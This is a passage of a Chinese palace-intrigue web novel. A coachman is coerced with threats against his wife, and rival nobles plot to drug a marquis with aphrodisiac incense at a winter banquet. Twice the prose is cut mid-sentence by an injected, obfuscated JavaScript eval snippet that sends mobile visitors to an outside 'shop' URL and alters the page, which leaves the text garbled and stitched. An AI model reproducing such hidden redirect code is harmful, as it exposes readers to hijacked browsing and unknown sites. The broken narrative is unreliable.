赵阿京猛地回过头去，对上两双眼睛，一双笑意盈盈，一双冷漠如冰。 “赵阿京？”玉怜脂笑着叫他。 赵阿京泄出一口气，脸色并不好：“玉姑娘若再晚来些时辰，小的可就没法带姑娘去宫宴了。” 玉怜脂不语，而她身后的段素灵走上前，一边走，一边说道：“少废话，三千两银票已经准备好了，你只要办好了事，我们也不会食言……” 赵阿京刚想竖眉强调一遍银货两讫，一抹雪光横在了他的脖颈处。 原本和他有三步距离的白衣女子身法如鬼魅，移至他身后。 “别动。”段素灵刀锋压下，一抹血立时冒了出来。 赵阿京僵在原地没反应过来，三秒后，方才脸色大变，手想抬起来摆脱桎梏，同时怒吼：“你们……！” 倏地，一声脆响乍然钻入他耳中，马夫暴怒的神色转变为惊震、不可置信，还有惧怕。 身着婢女衣裙的少女走到他身前，手上拿着一只银步摇，抬手伸到他眼前数寸的地方，笑着摇了摇，步摇尾端的流苏碰在一起，叮叮地响。 夜色如此黑，可赵阿京还是一眼认出了这支步摇。 那是他给李贤娘的聘礼之一，李贤娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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被挑中做瘦马的女子，身形瘦削只是最基本的特征，她们还会被用上种种见不得人、磋磨身体的特殊法子，走起路来都与寻常人不同。 段素灵见过不少瘦马，更医治过她们，对她们的非常之处很了解，因而在见到李贤娘的时候，心中便已经有了判断。 “按理来说，你一个马夫，根本连这些女子的面都不可能见到，如今竟然结了夫妻，而一个豢养出来的瘦马，身价上千两，却在郊外庄子上当了两年的绣娘。”玉怜脂轻挑眉，缓缓说， “真是奇了啊。” 赵阿京哑着声音：“你抓了贤娘，什么都知道了，还装什么！要杀要剐——” “我杀你做什么？你对我还有用呢。”玉怜脂抚掌笑道。 她眨眨眼，声音幽幽冷软：“现在我来问你——指使你的人，是谁呀？” “这个问题我已经问过李贤娘了，她也说了。现在轮到你，你可要好好答呀，要是你的答案和她的不一样，我就传信砍她两根手指，说到做到。” 赵阿京目眦欲裂，狠咬着牙，过了十数秒，紧抿的唇蹦出来两个字—— “钟府。” 玉怜脂定定地看着他，两秒后，真心实意地笑了起来：“很好！” 赵阿京猜不准她这句很好到底是对还是不对，此时他已经是惊吓到浑身颤抖，只能全神贯注盯着眼前的人，看她想要做什么。 下一刻，少女挥挥手：“好啦，宫宴不等人哪，我们也要走啦，阿姊，放了他。” 赵阿京感觉脖上冷锋立刻远离，没等他怒气上来，轻柔的声音又砸了过来。 “钟府指使你做了什么，你自己原本想做什么，路上你要一五一十的说，若是你的消息不实，误了我的事，你的贤娘可就要遭罪咯。”玉怜脂看着赵阿京，双瞳深幽， “别想着耍你那些小心思，我出事，她还是得死，只有我好好的，你的贤娘才能好好的。” 马夫深呼着气，双拳紧紧握着，几乎渗血。 “我把了李贤娘的脉，脉象不够明晰，无法完全确定。但，似乎她有身孕了，不足一月。”段素灵收刀，冷冷抛出话。 赵阿京僵直一瞬，朝后跌退两步。 28. 更衣 黑红大马拉着马车回到昭丰大殿之外，大殿外围着林子，停放马车的地方就在园林外侧南边，有好几处，俱是僻静幽暗，距离大殿正门也远。 昭丰殿外有禁卫把守，但园林占地太广，行宫之中无法做到十步一岗，禁卫们按规制结队持火把巡逻，越靠近大殿，巡逻越密集。 但在园林外侧登上高处，也足够望见昭丰殿一片火树银花，乐声悠悠飘过来，目力佳者，甚至能隐约看到大殿内君臣一酬一酢，殿中舞姬挥袖踏云之景。 赵阿京控马停下，负责另外两辆马车的车夫看他回来，才松了口气。 天色太黑，园林里的宫灯少，车厢上挂起灯笼照明，火油充足，风刮过来时灯笼摇摆，笼中火也跟着晃。 “怎么去了这么久。”驱使谢砚深车驾的马夫章四柱年资最老，也最有话语权。 赵阿京摸摸头，讪讪憨笑：“守卫们要细细验牌子，耽搁了。” 说罢，他把腰间的牌子递还给章四柱。 章四柱摇摇头，收回腰牌：“腰牌还能造假不成，也不怕误事。” 赵阿京状似随意，开口道：“也还行，大宴应该还有大半个时辰才能结束吧。” “大半个时辰哪够，至少还得一个半时辰！但要是主子有吩咐怎么办？咱们得时时候着。”章四柱开口驳斥，他往年冬祭跟来过，对宫宴时间有些把握。 “一个半时辰？”赵阿京惊道，“宫里就是不一样啊，那歌姬舞姬跳得动这么久吗，陛下和娘娘们也不嫌看久了腻味……” 章四柱呸他一声，肃声道：“你嘴上胡说八道什么呢！这是行宫！敢议论宫里的事儿！不要命了你！” “我错了我错了，我没来过吗，哪比得上您见过这么多次，您别见怪！我就是好奇，该打！”赵阿京立刻抬手扇自己两个嘴巴，末了眼珠子转悠，小声问， “不过，究竟是要干什么呀，怎么这么久？” 章四柱瞪他一眼，说道：“……过会儿要燃烛放烟火，贵人们去园子东边游园、赏灯戏去了，冬祭年年都有，宫宴的焰火能把这山上的天都给照亮咯，我们在这也能瞧见，算你小子有福。” “诶哟！真的？！” “废话，当然是真的。” “行，行。”赵阿京应和着，然后牵着马车移动到另外两辆大马车的后面。 那两辆马车一四驾，一两驾，比起赵阿京负责的这辆搭送医官的马车大了许多，规制也更高，他引着小马车到后头，连人带车一下就被挡得严严实实，加上夜黑，让人更瞧不清了。 “诶！系好马就赶紧过来，天冷！”章四柱朝后喊他。 林子里太冷，又下着小雪，马夫们也不能进主子的车厢里缩着，便在地上挖了火坑，弄了油布干柴，点火取暖。 赵阿京的声音从马车之后传出来：“章伯，我肚疼！想去园子那头的茅房！马系好了，您帮我留意着点！” 章四柱皱了皱眉，提声：“怎么这么多事！那你麻利点！快去快回！” “知道了！我跑着去！” * 昭丰殿。 大殿之内金辉满目，雕龙巨柱撑起穹顶，九龙戏珠杂宝纹盘金宫毯绵延而去，舞姬乐师片刻不敢懈怠，奏乐起舞，太监宫女端着菜肴水酒穿行来回。 平武帝高坐于龙椅之上，左手边，任皇后着正黄绣金凤袍端坐，她长得与护国公府大小姐任智妤有六分相像，性子看上去也是一样的冷傲，姿仪威严庄重； 而皇帝右边，秦贵妃着深紫芍药纹宫裙伴驾，凭心而论，她的容貌比不过任皇后，但胜在风情万种，一双桃花眸，眼波流转之间，一颦一笑，华艳最盛。 平武帝明显也更偏爱她，但凡举杯，必要偏首与她低声笑语几句，似乎一点都没有因为睿王府的大案迁怒于她。 任皇后目不斜视，并不在意，但台下的承王举杯饮酒，隐有不快之意。 下首各宫妃嫔，皇嗣宗亲、世族功臣按序列坐，数百人正坐殿中，却丝毫不显拥挤混乱，宫宴之中，所有人都谨慎按照规矩行事。 大太监钱礼站于平武帝身后，躬身回话：“陛下，东园那边的灯景都已经布置好了，花炮局的人来回话，说随时可以燃放烟火。” 平武帝放下手中的玉樽，问道：“今年赐菜封赏都办好了么？” 钱礼：“回陛下，都按照您的旨意办妥了，镇北侯府多加两道，一道素鲜银鱼珍米羮、一道仙鹤烩熊掌，还有额外的赏赐也一并送去了。” 年宴获君上专旨赐菜的府邸极少，几位郡王位的皇子都没有这份荣宠，多加一道都是难得，两道，可以说是无上殊荣了。 便是承王睿王两大亲王府也没有这样的待遇。 任皇后侧首，淡淡说：“陛下当真看重镇北侯府，只是为臣之责本就是为君分忧，陛下太过偏爱，朝内难免非议。” 平武帝尚未开口，坐在一旁的秦贵妃轻笑一声，染着丹蔻的细指轻扶发髻上的珠翠，柔声道： “去岁冬祭镇北侯因着军务繁忙去了京畿大营，不曾前来，今年是谢侯班师回朝以来第一次随祭，镇北侯府世代忠良，天下谁人不知，陛下多赐两道菜，不过是爱惜良将功臣，莫要让北境将士们心寒，恕臣妾多言，皇后娘娘何必横加阻拦呢。” 任皇后瞥她一眼，声音冷冷：“本宫……” “够了。”平武帝沉声打断，随后朝左右各投去一眼。 任皇后面色不变，回视他，而秦贵妃则垂眸不语，唇角微勾。 平武帝收回眼，抬手一摆。 身后大太监钱礼立刻会意，走入高台中央最前方，扬声道：“吉时将至，陛下有旨，诸卿随驾东园——” 平武帝站起身，右臂轻抬，秦贵妃娇笑着将手放入他掌心，帝妃相伴而去，任皇后的表情很淡然，似乎早已习惯，扶着身侧大宫女的手，移步跟上。 亲王席上，承王朝对面的睿王横去一眼，后者状若无睹，只是默默饮酒。 孤儿斗兽一案，太后毫不知情，贵妃久居深宫，也有充分的理由辩解，因而此案没有动摇到太后和秦贵妃在平武帝心中的位置，但不可能不影响到睿王本人。 今年冬祭，睿王府比往年少了两道赐菜。 连同睿王外祖家秦丞相府也跟着少了许多赏赐，反倒是任皇后的母族护国公府待遇依旧如前。 方才秦贵妃与皇后之争，看似贵妃深得帝心，但实际上胜只胜在后宫情分，前朝的情况并不乐观，承王一党步步紧逼，睿王麾下党羽节节败退。 看着已经到了即将分出胜败的时刻了。 古来不乏有帝王传位于臣心所向之子，至于私心偏爱的宠妃爱子，便赏最丰沃富裕的封地，再留遗诏加以保护也就罢了。 平武帝若是也动这样的心思，一点也不奇怪。 睿王大势渐去，除非承王也犯下大错，否则难以转圜。 上头暗潮汹涌，座下大臣们也是各家有各家的心思。 帝驾往东园而去，昭丰殿内众大臣自然也开始动身随行，从昭丰殿一路向东园的路上，两道挂满华贵珠灯，不乏逾两人高的巨灯，串串珠玉缀于其上，笼身采上好的绢纱或琉璃所制，灯燃之时，彩光透点笼壁书画，远望来，一条璀璨灯河蜿蜒向东。 烟花灯宴不似方才殿内大宴，没有太多繁文缛节，贵妇贵女们都提着宫人备好奉上的灯，每家的式样都不相同，笑闹着朝东园行去。 队伍末尾，钟芷兰手中提着霜花琉璃灯，走近自己母亲身旁，空着的右手挽住她的左臂，旁人看去，只见母女情深，女儿正拿着新得的灯在同母亲撒娇。 “母亲，”钟芷兰贴近钟夫人的耳边，“时不我待，待会儿，就看您的了。” 钟夫人脸上的笑容有些僵，半晌，点了点头。 钟芷兰唇角轻勾，随后朝身后投去意味深长的一眼。 视线尽头，身着茶红锦裙的少女摆弄着手上的绢纱灯，似乎有些焦躁不安，站在她身旁的年长妇人也是兴致缺缺。 程亦仙侧头，看见自己母亲没有丝毫笑意的脸，只觉得心中也闷闷的，此时她走在偏离人群的地方，身边只跟着贴身丫鬟，时不时停顿脚步站在角落里。 这恐怕，是他们家最后一次前来冬祭了。 原本父亲说，借着孤儿案尚未有定论，伯府还能按祖制随驾冬祭，冬祭之时重臣世族齐聚，案发后避着伯府走的亲朋故友都没法再推脱不见，他趁机再寻求解困之机。 可是如今看着母亲的表情，她再蠢，也知道希望渺茫了。 思及此，程亦仙抿紧了唇，眼珠颤动着。 怎么办？她不想当官妓！ 太肮脏了，太恶心了！ 她也不能去流放，流放就要在脸上刺字，她怎么能在脸上刺字呢！ 不行不行不行—— “不行……”她喃喃出声。 此时，她身后，一直跟着的大丫鬟栗儿看出她的心神不宁，走近她身边： “姑娘，姑娘别怕，您不会有事的，只要今日成了那件事，您，还有伯府，就都平安了。” 程亦仙呆呆地偏过头：“今，今日……” 今日，是她定下要与镇北侯……的日子。 原本她是想着，若是入了行宫伯府能找到转机，她那五百两便当做是白花了，她其实冲动过后，真的也害怕去使那下作手段。 可是如今…… 栗儿声音低而飘忽，语速也很快，像是山间精魅： “姑娘，那个马夫收了您的钱财，已经把消息递过来了。东园灯宴过后，侯爷会往南边离开园子，侯府车马就停在那边，您只需要去东园南等着，借机行事就好。” 程亦仙咽了咽口水，此时才觉得事情有些不对劲： “我，我就算去了，也不一定能见到他啊，对啊，我要是见不到他怎么办——” 栗儿：“姑娘傻了不是？侯爷的车驾在南边，宫里预备给侯府休息更衣的厢房肯定也在南边，否则若是要更换衣物、用药之类的，岂不是不便？侯府那位高大夫人可是出了名的病秧子。” “大夫人是大夫人，他是他……”程亦仙喏喏反驳。 “您只管去就是了，侯爷如今在与陛下和众位皇子、大臣饮酒呢，酒过三巡哪有不醉的道理，您没瞧见方才大殿之中，陛下都去更衣过两回呢。若是他真的不醉，您放心，有奴婢在，奴婢就是冒着杀头的罪，也要为您铺路。”栗儿直勾勾地盯着她。 程亦仙又有几分动摇，同时瞪大眼睛：“你？你能做什么？” 栗儿却摇了摇头，声音极细： “姑娘别问了，奴婢待会儿陪您一起去，镇北侯要是迟迟不来，奴婢再回来行事，您只需要等着好消息。如果奴婢没得手，姑娘您就当什么事都没发生，偷偷出来，说自己迷路了就是。” 程亦仙说不出话，只是手不停地抖着。 七八米开外，义远伯夫人不停深叹着气，抹了抹眼角的泪，环顾身边却不见幺女的身影。 急忙回头一望，只见程亦仙带着丫鬟在角落里怔愣着，丫鬟栗儿凑近程亦仙，似乎在说些安慰她的话，程亦仙却是没多大反应。 义远伯夫人心中更加酸楚难言。 伯府若是真的倒了，那她的孩子该怎么办？ 她的女儿她最了解，往好了说是天真单纯，往重了说就是脑筋转不过弯，容易被人骗，容易被人害。 再荒谬的谎言程亦仙都敢信，再离谱的故事程亦仙都能当作真的，十指不沾阳春水，心性软弱经不起风浪，愚笨又易冲动。 这样的性子，真到了铡刀落下的那一天，恐怕她这个当母亲的，只能一条白绫勒死这个傻女儿，免得她日后死得更痛苦。 “仙儿……”她忍不住唤出声。 程亦仙一个激灵，猛地脱口道：“娘，我，我想去更衣！” 义远伯夫人愣了一下。 现在她们已经进入了东园，最前面的大臣们已经再度举杯，伴皇帝赏灯景了，横竖有宫人引路，四处又有光亮，程亦仙离开她视线范围也不大要紧。 义远伯夫人抬手招来一个小宫女，朝她怀里塞了银子：“劳烦。” 宫女接了银子，便领着程亦仙：“贵女请这边来。” 程亦仙点点头，最后回头看了一眼身后的面色担忧的母亲，带着栗儿，跟上了那个引路的宫女。 ———— 钟俦与同僚相互敬酒，再饮下一杯后，袍袖袖角被人拉了拉。 他回头看去，妻子钟夫人正端着一盏酒，面色颇有些严肃地看着他，见他回过头，把手中酒樽递给了他。 “夫君，你去向谢侯爷敬杯酒吧。”钟夫人正声道。 钟俦愣了一秒，脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991719|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神色顿时变作不敢置信：“你说什么？！” 要他去给谢砚深敬酒？！ 他好歹差点成了谢砚深的岳丈，说起来也能算得上他半个长辈，虽说他如今官位权势远不及他，但怎么说也没有主动低头的道理。 钟夫人知道他会有这样的反应，并不意外，只是冷声抛出一个惊雷： “前段日子，我瞒着你，带芷兰去云山观见了王老太君和谢侯爷，说错话，把他得罪了，你去赔个礼吧。” 钟俦看着眼前的妻子，整个人都呆住了，根本没反应过来。 “快去吧。”钟夫人轻轻唤醒他。 这三个字像是一巴掌，狠狠打醒了他。 “你这个……”钟俦差点没摔了手上那个酒樽，若不是现在宫宴，他决不能出丑，恐怕已经开始骂娘了。 他当初其实也想重提旧事，让自家女儿和谢砚深再缔婚盟，无奈谢砚深心如冷铁，根本没有回头的意思，甚至有厌恶钟氏的倾向。 钟氏已经经不起太多风浪了，更何况钟芷兰早过了双十年岁，总不能真在谢砚深这棵树上吊死一辈子吧。 他现在在和镇北侯府重新结亲这件事上是完全放弃的态度，不久前还叮嘱了钟夫人把安插在镇北侯府里的那个眼线撤回来，免得日后不小心被查出个什么，镇北侯府肯定记他们一笔。 没想到，没想到！ “你想干什么你！”钟俦咬着牙压低声，双眼几乎要冒出火， “我早就告诉过你，别再想着镇北侯府，也不准再惯着芷兰，你把我的话当耳旁风？！” 钟夫人面无表情的垂下眼：“我已经知错了，所以我才来让你去给谢侯爷赔罪，我也教训过芷兰了，让她安心待嫁，别再去想些虚妄的事情。” 钟俦有些惊疑不定地看着她：“……真的？” “自然是真的，”钟夫人淡淡说道，“快去吧，敬完这杯，算是替我和芷兰向镇北侯府……赔罪了。” ———— 满园笑声中，忽而惊呼乍起。 “呕——”一道剧烈呕吐的声音响了起来。 园中赏灯侧台上，身着三品官员正服的中年男人捂着胸口，吐出的秽物脏了地上一片，他身体极度不适，挥手打落了好几盏宫灯，还有桌上的酒水瓜果。 主台上，平武帝向右侧望过去：“怎么了这是？” 伺候侧台的太监立刻小跑过来：“禀陛下，是钟府的钟俦大人饮了太多烈酒，胃肠不适，犯了呕泄之症。” “钟大人当时正在给谢侯爷敬酒，侯爷避得快，倒是没被秽物沾染上，只不过钟大人打翻了旁边的宫灯，漏出的火烧到了侯爷的衣袍边角，侯爷请旨，想去更衣。” “钟俦？”平武帝皱了皱眉。 钟俦是钟老太师的儿子，在他未登基前，曾经入宫给他做过伴读，算起来，是有年少的情谊在的。 “年纪上来了，难免多病。让他下去好好休息，请太医，”平武帝沉吟片刻，说道，“镇北侯也去更衣吧。” 小太监：“是。” ———— 东园南。 段素灵带着玉怜脂，小心避开巡逻的禁卫，终于到了南园与东园的交界处。 赵阿京跟在身后，指了指前方： “东园南，那里就是宫里派给车马停在南园的大臣们休息更衣的地方，我已经按照钟府吩咐传信给程府小姐身边的婢女了。” 玉怜脂望着那处此刻无人，昏暗的小殿：“好啊。” 赵阿京：“我把你们送到这，您也该满意了，章伯还在等着，我得回去了。” “那你就先回去吧，过会儿再来。”玉怜脂轻声道，“说不准你还能当个功臣呢。” 钟芷兰让程府小姐在谢砚深休息的厢房中埋伏着，便是料定了他会进入厢房之中。 钟芷兰如何未卜先知的，她不知道，但她知道，谢砚深如果要进入厢房里，左不过就是为了更衣梳洗，醒酒之类的事。 既然要更衣醒酒，衣物和梳洗用的东西又都在赵阿京管的小马车上，谢砚深自然要派贴身随从去取。 冬季外袍披风都厚重，无法随身携带，旧衣换下了最好拿回马车中放着。 谢砚深更衣之后就要立刻回到灯宴上，不能耽搁，随身侍从为了放件衣服在园子两头来回跑也不方便。 届时赵阿京这个管马车的马夫便可以借口说，待主子更衣完，由他将穿过的衣物从厢房拿回马车，跟着一同回到东园南。 然后拿了换下的衣物，躲在殿外等候事发便可。 谢砚深不愿与钟府再结亲，此事几乎没有回旋的余地，除非……生米煮成熟饭。 九成可能，钟芷兰是要借程亦仙的手对他下药，然后自己渔翁得利。 但想要成事，还得过谢砚深身边防卫那一关，钟芷兰一定想了什么办法去解决谢砚深贴身伺候的人。 到了下药的地步，钟芷兰可谓是破釜沉舟背水一战，谢砚深对这些事当然有防备，但地处行宫，钟芷兰又使的连环计，他还真不一定能全身而退。 一旦谢砚深中药，孤立无援，“已经走出一段距离但听到动静感觉不对冲回来救主”的赵阿京当然就是头等功臣。 玉怜脂看着赵阿京，笑容浅浅，眼睛很亮。 到时候，这位头等功臣，还可以帮她把伏羲香一并下了，比投到谢砚深马车里还稳妥。 赵阿京已经对她发怵得要命，只能警惕地回问：“您什，什么意思？” “螳螂捕蝉，黄雀在后，黄雀延颈欲啄螳螂，而不知弹丸在其下也。” 玉怜脂转回头，定定看着不远处的旧殿，慢悠悠细声道： “你呀，就是我手中打黄雀的弹丸。” 钟芷兰。 那日梅林之内，她亲眼见到她对谢砚深的心意，等了谢砚深这么多年，又费大力气把眼线安插进侯府，这个女人对镇北侯夫人的位置可谓势在必得。 但，她是不会让她得手的。 雪花纷纷而落，远处殿宇似乎有了些动静，但天色暗，看不太清楚，段素灵目力最好，看见两道人影闪进了殿中。 “来了。”她说。 玉怜脂：“程府小姐？” “应该是。” 如果是谢砚深，殿中烛火不可能不亮。 “好戏要开场了。”她笑道。 29. 情药 小黄门快步跑回来，向侧台台阶上的男人一躬身，垂首谄笑道：“侯爷受惊了，陛下允准，请侯爷去备好的厢房更衣，雪天路滑不好走，不必着急赶回来。” 谢砚深垂眸扫了一眼被焚坏的衣摆，颔首拱手：“谢陛下。” 乔大夫站在他身后紧随，按规矩宫宴上臣属们都不能带太多侍从，一般只带贴身伺候的人，否则各个使奴唤婢乌泱泱的一大群，也不成样子。 谢砚深只带了他和福明两个人，福明在谢砚深衣袍受损的第一时间就离开去往南园的马车处了。 停马车的南园路程有些远，福明提前走，一来一回，应该能在谢砚深到达厢房的时候赶回来。 小黄门摆手作引：“侯爷请这边来。” —— 侧台边缘，吐的昏天黑地的钟俦被太监们搀着，半拖半扶退了出去，钟府的人在旁边围了一圈，钟夫人不停抚着丈夫的后背，面上是明显的焦急。 钟芷兰也站在一边，时不时询问匆匆赶来的太医，在一片吵闹中，她微微偏首，余光捕捉到男人离去的背影。 步履不着痕迹地慢下来，贴身侍女凑近在她耳畔，碎声气语：“栗儿刚刚跑回来传了信，一切妥当。” 程亦仙已经藏身在谢砚深更衣的殿宇之中。 闻言，钟芷兰的眼中闪了闪，没有说话，继续跟随着人群往园外走。 ———— 对于几乎没用过火折子的闺中小姐来说，在一片昏黑中摸到香炉点燃不是一件易事。 程亦仙在屋子里摸索着，屋里只有她一个人，栗儿陪她进来一段时间之后便焦急着要离开。 “姑娘，咱们出来的时辰要是太久，夫人会起疑的，奴婢去看看侯爷来了没有，那东西奴婢已经投到香炉里头了，您拿着火折子，大门如果有动静，你就仔细听听，如果是侯爷来了，您立刻把香点上。”栗儿把东西往她手里一塞，不顾她在后头害怕惊惶，急匆匆跑出了殿门。 借着窗外月光，她终于挪到了桌旁，握着火折子的左手悬在炉上，不自觉地颤抖着，右手朝前一伸，碰到了香炉被放到一旁的冰凉炉盖。 黑木桌正中央，小而精巧的鎏金兽纹炉敞开着，炉中原有的白色香灰上，一堆新添的殷红细粉格外引目。 催情香。 程亦仙喉部频繁地吞咽着，她实在是紧张极了，裙摆下的双脚也不自觉朝着门口的方向，下意识的状态是最诚实的，她人站在这里分毫不动，身体却已经做足了准备，想要夺路而逃。 在她头脑空白一片的时候，一声闷响倏地传来—— 正殿门被推开了。 紧随其后的是太监尖细的嗓音：“侯爷请便，奴才这就回去向陛下复命了。” “多谢……”男人低沉的声音隐约传进来。 与此同时，有些繁乱的脚步声开始靠近里间，听上去不止一人。 谢砚深来了。 程亦仙瞳孔猛地缩紧，左手猛地一抖，掌心握着的那根火折子闪着赤光直直插落炉中。 “呲啪。” 一声火灰爆开的暗响，一股甜腻到不正常的香气幽幽钻进桌前人的鼻中，很快又和香炉中原本的香融成一体，那股黏糖一样的味道才不那么明显。 程亦仙愣了一瞬，随后立刻抬手捂住口鼻，同时将炉中的火折子拿了出来，飞快盖上炉盖，将香炉从桌面移到一旁的博古架上，与其余的摆件放在一处，一同融入黑暗之中。 她自己都想不到自己的速度居然可以这么快，动作居然可以这么灵活，只是几个呼吸，她已经移到几步外的垂地镂金帐后屏息藏好。 这与她往日的拙慢可以说是大相径庭，或许绷紧到极致的心弦真的能够促发出一种最原始的本能意识—— 在捕猎比自身更强大的猎物、等待它步入陷阱之时，必须迅速保持静默与隐蔽，否则所有准备都会功亏一篑。 程亦仙浑身僵硬，连眼睛都忘记眨动，房门被推开时，她还没反应过来，直到房中火烛被点燃，光亮透过帘帐照入她眼中，眼瞳瞬间剧烈酸痛起来。 那一瞬间，她的冷汗连同被烛光刺出的泪水一同滑下。 真的无法回头了。 * “侯爷，这是提前备好的衣物。”福明把托盘上的衣袍放到桌上，“您身上的外袍都烧坏了，先褪下来吧。” 房门外还有两道人影，一个是乔大夫，一个是刚刚从马车处跟过来的马夫，等着把换下来的衣袍拿回马车。 福明是主院伺候谢砚深最久的一批人，知道他的习惯，北境统军多年，许多事都不喜有人在旁伺候，更衣的时候房中一般无人。 谢砚深点点头，几步走入屏风后，他动作很快，被烧到的披风、外袍等物都尽数褪下，只留内里的贴身薄衣。 福明三下五除二将抛挂在屏风上的衣物拢抱作一团放在另一个漆木托盘上，脚步一转出了房门，房门随后闭上，从外向内看去，只看得清幽黄光影。 “你将侯爷的衣物拿回去，天黑路滑，你小心些，拿稳了，这些东西一件都少不得，可别掉些什么在路上。”福明把托盘递给面前垂头微躬身的中年男人，肃声嘱咐。 “是，是。”赵阿京连连点头，双手接过东西，随后飞快抬眼扫了一眼紧闭的房门，转身快步离开。 走出一段距离，身后还隐隐传来福明和乔大夫的交谈声。 “……你脸和脖子怎么这么红，刚才来时也不见你这样……”乔大夫随口问。 “我也不知道，方才在屋里就觉得特别热……行宫白天黑夜都一直烧着地龙，兴许是里头太暖和，闷的吧……”福明回道。 …… 这间最靠近南园的宫殿是专门辟出来更衣的，谢砚深在房中的时间不会太长，所以福明只点了数盏油灯，照明的范围不大，靠近床榻的地方一片昏暗，垂地的帘帐遮着。 桌上托盘内，衣物整齐叠好，从上到下是玉佩香囊、銙带腰挂，再到外袍大氅，一旁还放着皂靴等物，谢砚深走到桌前，抬臂将最下方的外衣先拿起。 他反手伸臂，外袍披上，随后开始系衣带。 忽地，男人手中动作停顿，眉头紧蹙。 紧接着呼吸猛然沉重，眼前一晃！ “碰！” 谢砚深一手重重压在桌上，勉强撑住身体，一手捂住口鼻，鬓边渗出薄汗，双眸闭阖，体内内力运转，压制下腹疯狂涌起的灼热。 虽然他此刻极为不适，但理智尚存，瞬间反应过来发生了什么。 ——有人借着他更衣的机会，要用计暗算。 是谁？ 他是因为被钟俦污了衣衫才来更换的，是钟家……？ 约莫十秒，谢砚深才感觉到体内的热意有消退的迹象，脑中晕眩也开始好转，他放下紧紧遮住口鼻的右手，准备呼唤房外的福明和乔大夫。 下一刻，一双手臂从后伸过来，欲要抱住他的腰。 谢砚深眸中厉色闪过，一回身便闪开。 “谁？！”他哑声喝道。 两步外，一道身影扑在了桌上，女子喘着粗气，面色极红，不用看就知道也是中了药。 谢砚深一扫她的脸和服饰，竟不是钟芷兰，而是个他没什么印象的官家小姐。 程亦仙呼吸急促，她躲到帘帐后不久，就发现自己的身体不太对劲了起来。 但她明明是提前服用过解药的，按理来说，即使她刚刚猛吸了一下那媚香，药力也不会在她体内起效。 可是她怎么也—— 她从小养尊处优，不像武将有内力护体，没多久，这药就侵蚀了她的神智，她到现在才出来扑人，已经算得上是用尽了自制力了。 谢砚深看着眼前的女子，面色极冷，疾步后退，手中往旁边的桌上伸过去，拿起了什么东西。 程亦仙则是开始耐不住剧烈的燥热，开始解开身上的衣袍。 此时，屋外竟然也传来嘈杂的声响，似乎又有什么人来了，还不止一个，福明正扬声阻拦—— “是什么人……！” “……郎君莫怪，我们是来找人的，我家表姑娘出了宴会一直不回，怕是走岔了路……”一道女声在回答。 “……此处是陛下下旨，让我们侯爷专用的，你们就算要找人，也得先等着。” “我们找遍了地方，我家表姑娘说不定就在这里头……”婢女又说。 另一道柔和的女音响起：“福明小郎君，我家表妹胆子小，又不大识路，她天黑走错了路会找个安全地方等着人来找，谢府与钟府也算世交，能否立时同侯爷通报一声？” 一旁一个面露惊慌的小丫鬟也附和：“是啊是啊！我家小姐若是迷路了，都会找个地方躲着的！” 正是程亦仙的贴身侍女栗儿。 “说了，等着！钟大小姐是想硬闯吗？”福明盯着眼前突兀带着人出现要找人的钟芷兰，心中觉得古怪，声音也大了些。 钟芷兰站在阶下，婢子为她撑着伞，身后还跟着一个身体粗壮的嬷嬷。 她移步往前，面上充满担忧：“并非我故意为难，实在是……” “啊！” “砰！咚！” 女子呼痛的尖叫声响起，紧接着是两声重物倒地的闷声。 福明和乔大夫立时睁大眼回头，因为这声响正是从他们身后的屋子传出来的。 难不成里头真的—— 阶下的钟芷兰立刻几步上阶，几人逼向房门，焦急无比：“亦仙？！” 福明反应极快，头一扭就要拦人。 无论里头发生了什么，他都不能让眼前这个行事处处透出怪异的女人就这么闯进去！ 然而当钟芷兰和那个哭着要找自己家迷路小姐的婢女靠近他的时候，两股奇异的香味一前一后袭来，其中一股还有几分熟悉，似乎在哪里闻过。 没等他反应，下一秒，他的腿竟然不受控制地软了下去，一股难以忽视的热潮猛地升腾。 他昔日随着谢砚深出征从军，身上是有军中官职在的，只是一心追随主子，不愿离开侯府，但身上的武功却也丝毫不逊色于那些禁军将校。 可现在，他居然一点力气都使不出来！ 福明死死盯着眼前的几人，万万想不到他们竟敢大胆到在行宫之中动手！ 乔大夫站在一边，一下就知道了眼前的情况不对劲，他以最快的速度朝福明扑过去，手已经伸向绑在下摆处专为这等紧急状况准备的银针。 但一双手从他的两肩后伸来，下一刻交叉锁住他的脖颈！ 乔大夫双目圆瞪，想要挣扎，但惊恐地发现身后的这个粗使嬷嬷力气竟然出奇的大，被勒晕过去之前，近在咫尺的呼吸闷声给了他答案—— 什么粗使婆子，这分明是个男扮女装的汉子。 跨过倒下的福明和乔大夫，钟芷兰头一偏，栗儿登时意会，谄媚低着头为她推开殿门，而钟芷兰的贴身心腹和那个假婆子则拖着福明还有乔大夫移到一边。 门开的那一瞬，一个黑影迅猛飞出，狠狠砸在了站在最前方的栗儿头上！ 后者甚至没有惊呼出声的机会，砰地一声就直直倒在地上，头上冒着血，被砸晕了过去。 一枚染血的玉佩掉落在地。 钟芷兰吓了一大跳，猛地抬眼，对上一双充满戾气的黑眸。 谢砚深披着外袍站在殿中，殿中的屏风已经坠倒，一旁的地上，程亦仙被新制的兽皮滚领大氅缠裹住，已经没了动静。 看着眼前这一幕，又有栗儿被砸晕的惊吓，钟芷兰应是怔了两秒，才反应过来，朝右边地上的程亦仙跑了过去。 “亦仙！”叫得情真意切，完全是一个急于寻找妹妹的好姐姐。 下一秒，她复又抬起头，哭着对几步外扶着额头，看起来非常难受的男人泣声道：“侯爷！我家小妹何处冒犯了您，您要这样对她？！” 